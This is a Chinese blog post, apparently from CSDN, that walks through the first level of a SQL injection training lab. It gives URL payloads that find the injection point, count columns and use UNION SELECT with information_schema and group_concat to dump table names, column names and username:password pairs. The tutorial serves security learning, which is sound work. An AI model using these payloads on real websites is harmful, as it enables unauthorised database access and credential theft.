【SQL注入】Less-1错误型GET单引号字符型注入

本文介绍了SQL注入中的单引号字符串型注入,通过漏洞复现步骤展示了如何利用错误型GET请求获取数据库信息。讲解了group_concat、information_schema等关键函数的作用,并提供了payload示例来爆开数据库、数据表和数据值。理解这些概念对于网络安全和Web应用防护至关重要。
摘要由CSDN通过智能技术生成

Less-1错误型GET单引号字符型注入

什么是单引号字符串型注入?
通过'的报错进行sql查询,并用mysql能输出字符串型的函数,获取我们想要的数据。

漏洞复现过程

在实验室浏览器打开Less-1

1、发现注入点

输入?id=1 正常;

输入?id=1' 报错,就存在sql注入漏洞。

2、猜id=1显示条件中表的字段

例如输入?id=1' order by 3 --+ 显示正常
再次输入?id=1' order by 4 --+ 显示错误
所以的出,在?id=1查看的这个表有3个字段

3、爆开数据库

payload
?id=-1' union select 1,2,database() --+

4、爆开数据表

payload 
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

5、表开数据列(字段)

payload
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

6、爆开数据值

payload
?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

函数与要点介绍

1、union select 1,group_concat(table_name),3
?id=0等于我们要查询的表,在实验第一步时候,我们得到该查询的表有3个字段;所以我们在构建select时候,必须满足3个字段条件;
例如:select 1,2,3 那么 group_concat(table_name)表示2;这点有点像数组,你必须规定3个值,才能进行正常的赋值后显示。

2、group_concat()
group_concat函数是典型的字符串连接函数;

3、0x3a
0x3a:16进制的分隔符,比如在爆开数据值使用中(username,0x3a,password)表示(username:password)

4、information_schema
表示存储了数据表tables 列columns的元数据信息;用法:常规的sql查询中from xxx查询的元素或表 where xxx查询的条件;
5、database()
列出数据库的库名;
6、table_schema=database()
累出数据库的表名,这里存在赋值。

以上掌握,接下来的实验,仅提供payload和一些用法分析,我们进行下一步实验

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值